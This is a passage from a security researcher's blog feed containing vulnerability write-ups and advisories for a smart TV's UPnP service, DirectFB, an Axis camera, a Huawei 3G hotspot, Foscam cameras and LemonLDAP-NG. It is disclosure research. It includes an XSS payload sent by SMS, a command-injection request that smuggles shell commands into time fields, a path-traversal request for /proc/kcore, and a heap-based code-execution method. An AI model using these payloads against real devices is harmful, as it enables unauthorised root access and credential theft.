<div style="text-align: justify;">Register $s1 is passed as
parameter to the function "ssdp_request_type1", which reads it as a
string pointer.</div>
<div style="text-align: justify;">Register $s0 is dereferenced to
write the null value.</div>
<div style="text-align: justify;">After that, these registers are
not used anymore until the end of the function where they'll be
restored.</div>
<div style="text-align: justify;"><br></div>
<div style="text-align: justify;">Overwriting saved values of one
of these registers $s0, $s1 and $ra with an arbitrary memory
address can lead to crash the process if this address is not
mapped, or respectively not writable, readable, or
executable.</div>
<div style="text-align: justify;"><br></div>
<div style="text-align: justify;">Crashes can be detected in many
ways:</div>
<ul>
<li style="text-align: justify;">denial of service : the process
doesn't answer anymore to UPnP requests</li>
<li style="text-align: justify;">specific network activity : the
process broadcasts specific packets at startup</li>
<li style="text-align: justify;">crash reports on serial port: from
far the handiest method</li>
</ul>
<div style="text-align: justify;">The observation of process'
behavior allows to deduce if an address is mapped and its
associated permissions.</div>
<div style="text-align: justify;"><br></div>
<div style="text-align: justify;">By repeating this task in an
automated way, it's possible to discover a part of process' memory
mapping :</div>
<div class="highlight"><pre><span></span>0x00402020-0x00532120 r-x
0x00542020-0x0091af20 rw-
0x0091b020-0x00927efc ---
0x00928020-0x00930920 rw-
0x00942920-0x00980920+ rwx
</pre></div>
<div style="text-align: justify;">Stability of results indicates
that these memory regions are not randomized. We can see that last
one is a variable-sized executable area. We make the hypothesis
this area is the heap.</div>
<h2>Injecting arbitrary code</h2>
<div style="text-align: justify;">We assume that heap is
executable. As libupnp library is open source, we know how UPnP
packets are handled, and which ones are stored in heap
memory.</div>
<div style="text-align: justify;">Thus, we send a custom UPnP
packet to put our arbitrary code at an unknown address in the heap.
No memory corruption involved here.</div>
<h2>Finding arbitrary code location</h2>
<div style="text-align: justify;">As we've already said, this stack
overflow allows to arbitrary modify 4 registers ($s0-3) before
returning from the vulnerable function. Right after,
"ssdp_request_type1" function is called with a single argument $a0
copied from $s1, so we can choose its value.</div>
<div style="text-align: justify;">This function uses its unique
argument as a string pointer and checks if it contains some static
substrings.</div>
<div class="highlight"><pre><span></span><span class="n">enum</span> <span class="n">SsdpSearchType</span> <span class="n">ssdp_request_type1</span><span class="p">(</span> <span class="n">IN</span> <span class="n">char</span> <span class="o">*</span><span class="n">cmd</span> <span class="p">)</span> <span class="p">{</span>
<span class="k">if</span><span class="p">(</span> <span class="n">strstr</span><span class="p">(</span> <span class="n">cmd</span><span class="p">,</span> <span class="s2">":all"</span> <span class="p">)</span> <span class="o">!=</span> <span class="n">NULL</span> <span class="p">)</span>
<span class="k">return</span> <span class="n">SSDP_ALL</span><span class="p">;</span>
<span class="p">[</span><span class="o">...</span><span class="p">]</span>
<span class="k">return</span> <span class="n">SSDP_SERROR</span><span class="p">;</span> <span class="p">}</span>
</pre></div>
<p>If at least one static substrings
is found in the string pointer, the UPnP process will respond to
our request. This behavior lets us know if an arbitrary string
pointer contains a specific substring.<br>
<br>
So we put one of these substrings (":all" for example) in our
arbitrary code, and we use this behavior to search its address in
the heap area (we've already discovered heap start address in a
previous section)<br>
As we need to send many UPnP packets and to monitor responses, this
process takes few minutes.</p>
<h2>Remote arbitrary code execution</h2>
<p>We are able to put our arbitrary code in heap memory (executable),
find out its address, and execute it. Thereby, we get shell access
to this system.
We can notice that :<br>
<ul>
<li>all processes are root</li>
<li>stack and heap are executable</li>
<li>stack is not randomized</li>
</ul>
We can also extract <strike>private</strike> public [0] RSA key to
decrypt firmware updates with <a href="proxy.php?url=https://fredericb.info/2014/05/pflupg-tool-unpack-philips-smarttv.html">pflupg-tool</a>.</p>
<hr>
<p>[0] Edit 2014/11/14 : Thanks andreashappe for pointing out this
mistake.</p>pflupg-tool : unpack Philips SmartTV firmware2014-05-16T07:28:00-07:002014-05-16T07:28:00-07:00Frédérictag:fredericb.info,2014-05-16:/2014/05/pflupg-tool-unpack-philips-smarttv.html<p><a href="proxy.php?url=https://github.com/frederic/pflupg-tool">pflupg-tool</a> is an
unpacking tool for Philips SmartTV firmware (Fusion platform). If
your firmware is encrypted, you have to provide the corresponding
public key (public exponent + modulus).<br>
<br>
You can add public keys in pflupg.h file:<br></p>
<div class="highlight"><pre><span></span><span class="cp">#define PUBLIC_KEYS_CNT 2</span>
<span class="c1">// { name, public exponent e (hex string), modulus n (hex string)}</span>
<span class="k">static …</span></pre></div><p><a href="proxy.php?url=https://github.com/frederic/pflupg-tool">pflupg-tool</a> is an
unpacking tool for Philips SmartTV firmware (Fusion platform). If
your firmware is encrypted, you have to provide the corresponding
public key (public exponent + modulus).<br>
<br>
You can add public keys in pflupg.h file:<br></p>
<div class="highlight"><pre><span></span><span class="cp">#define PUBLIC_KEYS_CNT 2</span>
<span class="c1">// { name, public exponent e (hex string), modulus n (hex string)}</span>
<span class="k">static</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">public_keys</span><span class="p">[</span><span class="n">PUBLIC_KEYS_CNT</span><span class="p">][</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span>
<span class="p">{</span><span class="s">"my_key_1"</span><span class="p">,</span> <span class="s">"010001"</span><span class="p">,</span> <span class="s">"AABBCCDD"</span><span class="p">},</span>
<span class="p">{</span><span class="s">"my_key_2"</span><span class="p">,</span> <span class="s">"010001"</span><span class="p">,</span> <span class="s">"010E020F"</span><span class="p">}</span>
<span class="p">};</span>
</pre></div>
<div class="highlight"><pre><span></span>Usage: ./pflupg <upg_filename> [key_name]
2 keys available :
* my_key_1
* my_key_2
</pre></div>
<p>Source code can be found on <a href=
"https://github.com/frederic/pflupg-tool">GitHub</a>. You'll need
<a href="proxy.php?url=https://www.gnu.org/software/libgcrypt/">Libgcrypt
library</a> to compile it.</p>[CVE-2014-2978] DirectFB remote out-of-bounds write vulnerability2014-05-15T16:09:00-07:002014-05-15T16:09:00-07:00Frédérictag:fredericb.info,2014-05-15:/2014/05/cve-2014-2978-directfb-remote-out-of.html<h2>Summary</h2>
<p>DirectFB is prone to an out-of-bound write vulnerability since version
1.4.4.</p>
<p>The vulnerability can be triggered remotely without authentication
through Voodoo interface (network layer of DirectFB).
<h2>Details</h2>
An attacker can choose to overflow in the heap or the stack.</p>
<h2>CVSS Version 2 Metrics</h2>
<ul>
<li>Access Vector: Network exploitable …</li></ul><h2>Summary</h2>
<p>DirectFB is prone to an out-of-bound write vulnerability since version
1.4.4.</p>
<p>The vulnerability can be triggered remotely without authentication
through Voodoo interface (network layer of DirectFB).
<h2>Details</h2>
An attacker can choose to overflow in the heap or the stack.</p>
<h2>CVSS Version 2 Metrics</h2>
<ul>
<li>Access Vector: Network exploitable</li>
<li>Access Complexity: Low</li>
<li>Authentication: None</li>
<li>Confidentiality Impact: Complete</li>
<li>Integrity Impact: Complete</li>
<li>Availability Impact: Complete</li>
</ul>
<h2>Disclosure Timeline</h2>
<ul>
<li>2014-03-27 Developer notified</li>
<li>2014-04-21 CVE-2014-2978 assigned</li>
<li>2014-05-16 Public advisory</li>
</ul>
<h2>References</h2>
<ul>
<li>http://www.directfb.org/</li>
<li>http://mail.directfb.org/pipermail/directfb-dev/2014-March/006805.html</li>
</ul>[CVE-2014-2977] DirectFB integer signedness vulnerability2014-05-15T16:05:00-07:002014-05-15T16:05:00-07:00Frédérictag:fredericb.info,2014-05-15:/2014/05/cve-2014-2977-directfb-integer.html<h2>Summary</h2>
<p>DirectFB is prone to an integer signedness vulnerability since
version 1.4.13.</p>
<p>The vulnerability can be triggered remotely without authentication
through Voodoo interface (network layer of DirectFB).
<h2>Details</h2>
This integer coercion error may lead to a stack overflow.</p>
<h2>CVSS Version 2 Metrics</h2>
<ul>
<li>Access Vector: Network exploitable</li>
<li>Access Complexity …</li></ul><h2>Summary</h2>
<p>DirectFB is prone to an integer signedness vulnerability since
version 1.4.13.</p>
<p>The vulnerability can be triggered remotely without authentication
through Voodoo interface (network layer of DirectFB).
<h2>Details</h2>
This integer coercion error may lead to a stack overflow.</p>
<h2>CVSS Version 2 Metrics</h2>
<ul>
<li>Access Vector: Network exploitable</li>
<li>Access Complexity: Low</li>
<li>Authentication: None</li>
<li>Confidentiality Impact: Complete</li>
<li>Integrity Impact: Complete</li>
<li>Availability Impact: Complete</li>
</ul>
<h2>Disclosure Timeline</h2>
<ul>
<li>2014-03-27 Developer notified</li>
<li>2014-04-21 CVE-2014-2977 assigned</li>
<li>2014-05-16 Public advisory</li>
</ul>
<h2>References</h2>
<ul>
<li>http://www.directfb.org/</li>
<li>http://mail.directfb.org/pipermail/directfb-dev/2014-March/006805.html</li>
</ul>dfb-wireshark-dissector : DirectFB Voodoo protocol dissector for Wireshark2014-05-15T15:48:00-07:002014-05-15T15:48:00-07:00Frédérictag:fredericb.info,2014-05-15:/2014/05/dfb-wireshark-dissector-directfb-voodoo.html<p><a href="proxy.php?url=http://directfb.org/index.php?path=Platform/Voodoo">Voodoo</a> is the network layer of <a href="proxy.php?url=http://directfb.org/">DirectFB</a>. <a href="proxy.php?url=https://github.com/frederic/dfb-wireshark-dissector">dfb-wireshark-dissector</a> is a Wireshark plugin to dissect this protocol.<br />Main features are :<br /><br /><ul><li>Both packet & raw modes are supported ;</li><li>FLZ decompression ;</li><li>Instance ID resolution.</li></ul><br />Source code can be found on <a href="proxy.php?url=https://github.com/frederic/dfb-wireshark-dissector">Github</a>.</p><p><a href="proxy.php?url=http://directfb.org/index.php?path=Platform/Voodoo">Voodoo</a> is the network layer of <a href="proxy.php?url=http://directfb.org/">DirectFB</a>. <a href="proxy.php?url=https://github.com/frederic/dfb-wireshark-dissector">dfb-wireshark-dissector</a> is a Wireshark plugin to dissect this protocol.<br />Main features are :<br /><br /><ul><li>Both packet & raw modes are supported ;</li><li>FLZ decompression ;</li><li>Instance ID resolution.</li></ul><br />Source code can be found on <a href="proxy.php?url=https://github.com/frederic/dfb-wireshark-dissector">Github</a>.</p>Axis Camera M1011 Remote Code Execution Exploit2013-07-31T08:22:00-07:002013-07-31T08:22:00-07:00Frédérictag:fredericb.info,2013-07-31:/2013/07/axis-camera-m1011-remote-code-execution.html<p>In January 2013, <a href="proxy.php?url=https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play">Rapid7 published</a> a <a href="proxy.php?url=https://community.rapid7.com/docs/DOC-2150">great paper</a> describing several vulnerabilities in the most common UPnP libraries.
Six months later, many devices based on these libraries have not been updated and are still exposed.</p>
<p>For example, the Axis M1011 camera contains a vulnerable version of libupnp, which can lead to …</p><p>In January 2013, <a href="proxy.php?url=https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play">Rapid7 published</a> a <a href="proxy.php?url=https://community.rapid7.com/docs/DOC-2150">great paper</a> describing several vulnerabilities in the most common UPnP libraries.
Six months later, many devices based on these libraries have not been updated and are still exposed.</p>
<p>For example, the Axis M1011 camera contains a vulnerable version of libupnp, which can lead to arbitrary remote code execution without authentication.</p>
<p>You can find the corresponding <a href="proxy.php?url=https://github.com/frederic/metasploit-framework/blob/master/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb">metasploit module on my Github</a>.</p>
<p>To check whether your devices are vulnerable to known UPnP attacks, you can use <a href="proxy.php?url=https://www.rapid7.com/resources/free-security-software-downloads/universal-plug-and-play-jan-2013.jsp">ScanNow</a> tool by Rapid7.</p>Huawei Mobile Hostpot remote root code execution by SMS (user-triggered)2013-07-15T03:59:00-07:002013-07-15T03:59:00-07:00Frédérictag:fredericb.info,2013-07-15:/2013/07/huawei-mobile-hostpot-remote-root-code.html<p>Huawei E587 3G Mobile Hotspot, version 11.203.27, is prone to two vulnerabilities
in WebUI; an XSS and a command injection.<br>
The combination of both allows an attacker (with a little help from
the victim) to remotely execute code on the device with
root privileges, by sending a specifically …</p><p>Huawei E587 3G Mobile Hotspot, version 11.203.27, is prone to two vulnerabilities
in WebUI; an XSS and a command injection.<br>
The combination of both allows an attacker (with a little help from
the victim) to remotely execute code on the device with
root privileges, by sending a specifically crafted SMS.<br>
The vendor has been notified on the 2013/03/18.</p>
<h3>Huawei WebUI XSS in SMS inbox page</h3>
<p>In /js/main.js, function smsReplaceData() is used to escape
HTML tags in incoming SMS before displaying them in the UI.<br>
But a specifically crafted SMS can bypass this flawed
function and inject HTML tags in SMS inbox page:<br></p>
<div class="highlight"><pre><span></span><span class="p"></</span><span class="nt">Content</span><span class="p">><</span><span class="nt">Index</span><span class="p">></span>0'/><span class="cp"><![CDATA[<script type="text/javascript">alert(1);</script><input type="checkbox" id='x]]></span><span class="p"></</span><span class="nt">Index</span><span class="p">><</span><span class="nt">Content</span><span class="p">></span>Coucou, tu veux voir ma balise ?
</pre></div>
<p>This XSS is executed when the user browses to SMS inbox page. The
device has a notifying icon on its tiny screen to alert user of
incoming SMS.</p>
<h3>Huawei WebUI Shell injection (CVE-2013-2612)</h3>
<p>The HTTP endpoint "/api/device/time" in WebUI is vulnerable to
shell command injection. This allows code execution with root
privileges.<br></p>
<div class="highlight"><pre><span></span>javascript:saveAjaxData("api/device/time","<span class="cp"><?xml ?></span><span class="p"><</span><span class="nt">request</span><span class="p">><</span><span class="nt">Month</span><span class="p">></span>;mkdir <span class="p"></</span><span class="nt">Month</span><span class="p">><</span><span class="nt">Day</span><span class="p">></span>/tmp/A #<span class="p"></</span><span class="nt">Day</span><span class="p">><</span><span class="nt">Hour</span><span class="p">></</span><span class="nt">Hour</span><span class="p">><</span><span class="nt">Min</span><span class="p">></</span><span class="nt">Min</span><span class="p">><</span><span class="nt">Year</span><span class="p">></</span><span class="nt">Year</span><span class="p">><</span><span class="nt">Sec</span><span class="p">></</span><span class="nt">Sec</span><span class="p">></</span><span class="nt">request</span><span class="p">></span>");
</pre></div>
<p>You need to split your shell command into children of
<request> node in order to respect the 7 chars limit for each
child nodes.<br>
<br>
Now, you may try to combine them.</p>[CVE-2013-2612] Huawei E587 3G Mobile Hotspot Command Injection2013-07-15T03:58:00-07:002013-07-15T03:58:00-07:00Frédérictag:fredericb.info,2013-07-15:/2013/07/cve-2013-2612-huawei-e587-3g-mobile.html<div class="highlight"><pre><span></span>-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
[CVE-2013-2612] Huawei E587 3G Mobile Hotspot Command Injection
________________________________________________________________________
Summary:
Huawei E587 3G Mobile Hotspot, version 11.203.27, is prone to a command
injection vulnerability in the Web UI.
Successful exploitation allows unauthenticated attackers to execute
arbitrary commands with root privileges.
________________________________________________________________________
Details …</pre></div><div class="highlight"><pre><span></span>-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
[CVE-2013-2612] Huawei E587 3G Mobile Hotspot Command Injection
________________________________________________________________________
Summary:
Huawei E587 3G Mobile Hotspot, version 11.203.27, is prone to a command
injection vulnerability in the Web UI.
Successful exploitation allows unauthenticated attackers to execute
arbitrary commands with root privileges.
________________________________________________________________________
Details:
The HTTP endpoint "/api/device/time" in Web UI is vulnerable to shell
command injection. This allows code execution with root privileges.
________________________________________________________________________
CVSS Version 2 Metrics:
Access Vector: Network exploitable
Access Complexity: Low
Authentication: Not required to exploit
Confidentiality Impact: Complete
Integrity Impact: Complete
Availability Impact: Complete
________________________________________________________________________
Disclosure Timeline:
2013-03-18 Vendor notified
2013-03-18 CVE-2013-2612 assigned
2013-07-15 Public advisory
________________________________________________________________________
References:
http://www.huawei.com/en/security/psirt/
________________________________________________________________________
Frédéric Basse
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/
iQEcBAEBAgAGBQJR48qZAAoJENQ4kG3hg80AJMEH/Rdyx2zmDPzr2Ar5Nc+Fw1ih
aiby28PhIKfXhAst2SrkIp6ogtDEj+PBrgbEy2YJlyKi01z1Uf2UGukxijlQTg7H
0zYivz55vleBrr9OD/A2pxo7sZZy7eswH5jia5abRUVXYYqEVWYp5KWvzbMPO3CY
EgLYxE4uv00ojqHCl9QsD7oa+mR52Jur3QZ/IdCbJJZgmEKmwNJvJ8rb6RvTMcae
+8dWhC8bhfL3UkTW5snYZ4K/euA84LmGvcfd1PXrMAX01xXDdnPJ/JxrzSPLfb1x
6WyZO6cZpgxQqvogemXKOy2MmnNkWlkK0P9OmmDpBQBI66WnyBUxXNFxEr/HFKo=
=6yIl
-----END PGP SIGNATURE-----
</pre></div>[CVE-2013-2560] Foscam <= 11.37.2.48 path traversal vulnerability2013-03-17T14:39:00-07:002013-03-17T14:39:00-07:00Frédérictag:fredericb.info,2013-03-17:/2013/03/cve-2013-2560-foscam-1137248-path.html.html<h2>Summary</h2>
<p>Foscam firmware <= 11.37.2.48 is prone to a path traversal
vulnerability in the embedded web interface.</p>
<p>The unauthenticated attacker can access to the entire filesystem and
steal web & wifi credentials.</p>
<h2>Details</h2>
<p>GET //../proc/kcore HTTP/1.0</p>
<h2>CVSS Version 2 Metrics</h2>
<ul>
<li>Access Vector: Network exploitable</li>
<li>Access Complexity …</li></ul><h2>Summary</h2>
<p>Foscam firmware <= 11.37.2.48 is prone to a path traversal
vulnerability in the embedded web interface.</p>
<p>The unauthenticated attacker can access to the entire filesystem and
steal web & wifi credentials.</p>
<h2>Details</h2>
<p>GET //../proc/kcore HTTP/1.0</p>
<h2>CVSS Version 2 Metrics</h2>
<ul>
<li>Access Vector: Network exploitable</li>
<li>Access Complexity: Low</li>
<li>Authentication: Not required to exploit</li>
<li>Confidentiality Impact: Complete</li>
<li>Availability Impact: Complete</li>
</ul>
<h2>Disclosure Timeline</h2>
<ul>
<li>2013-01-18 Vendor fixed the issue in fw 11.37.2.49; no security notice</li>
<li>2013-02-21 Vulnerability found</li>
<li>2013-03-01 Public advisory</li>
</ul>
<h2>Solution</h2>
<p>A new firmware is available on vendor's site: <a href="proxy.php?url=http://www.foscam.com/down3.aspx">http://www.foscam.com/down3.aspx</a></p>
<h2>References</h2>
<ul>
<li>http://code.google.com/p/bflt-utils/</li>
<li>http://wiki.openipcam.com/</li>
</ul>
<hr>
<p>Arnaud Calmejane - Frederic Basse</p>[CVE-2012-6426] LemonLDAP-NG SAML XML Signature Wrapping2013-03-17T14:31:00-07:002013-03-17T14:31:00-07:00Frédérictag:fredericb.info,2013-03-17:/2013/03/cve-2012-6426-lemonldap-ng-saml-xml.html<h2>Summary</h2>
<p>LemonLDAP-NG <=1.2.2 is prone to a security vulnerability involving
XML signature wrapping in authentication process.</p>
<p>Successful exploits may allow unauthenticated attackers to construct
specially crafted messages that can be successfully verified and
contain arbitrary content.</p>
<p>This may lead to authentication bypass.</p>
<h2>Details</h2>
<p>Due to a bad use …</p><h2>Summary</h2>
<p>LemonLDAP-NG <=1.2.2 is prone to a security vulnerability involving
XML signature wrapping in authentication process.</p>
<p>Successful exploits may allow unauthenticated attackers to construct
specially crafted messages that can be successfully verified and
contain arbitrary content.</p>
<p>This may lead to authentication bypass.</p>
<h2>Details</h2>
<p>Due to a bad use of Lasso library, SAML signatures are never checked,
even if SP forces signature check.</p>
<h2>CVSS Version 2 Metrics</h2>
<ul>
<li>Access Vector: Network exploitable</li>
<li>Access Complexity: Low</li>
<li>Authentication: Not required to exploit</li>
<li>Impact Type:Allows unauthorized disclosure of information; Allows unauthorized modification</li>
</ul>
<h2>Disclosure Timeline</h2>
<ul>
<li>2012-11-08 Vendor contacted</li>
<li>2012-12-18 Vendor: fixed issue in svn r2698</li>
<li>2012-12-19 CVE-2012-6426 assigned</li>
<li>2012-12-20 Public advisory</li>
<li>2012-12-21 EoW</li>
</ul>
<h2>References</h2>
<p><a href="proxy.php?url=http://jira.ow2.org/browse/LEMONLDAP-570">http://jira.ow2.org/browse/LEMONLDAP-570</a></p>